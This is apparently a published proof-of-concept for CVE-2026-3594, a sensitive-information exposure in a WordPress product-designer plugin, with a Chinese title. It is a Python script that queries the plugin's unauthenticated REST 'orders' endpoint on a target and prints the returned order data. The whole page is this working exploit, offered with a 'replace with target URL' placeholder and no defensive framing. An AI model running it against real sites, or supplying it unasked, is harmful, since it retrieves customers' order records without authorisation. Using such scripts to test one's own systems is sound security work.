CVE-2026-3594 WordPress插件敏感信息泄露

import requests def check_vuln(target_url): """ Exploit for CVE-2026-3594 Checks for sensitive info exposure via unauthenticated REST API endpoint. """ # The vulnerable endpoint path endpoint = "/wp-json/InkXEProductDesignerLite/orders" full_url = target_url.rstrip("/") + endpoint try: # Send GET request without authentication response = requests.get(full_url, timeout=10) if response.status_code == 200: print(f"[+] Target is vulnerable: {full_url}") print("[+] Data retrieved:") print(response.json()) else: print(f"[-] Target not vulnerable or plugin not active. Status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target URL check_vuln(target)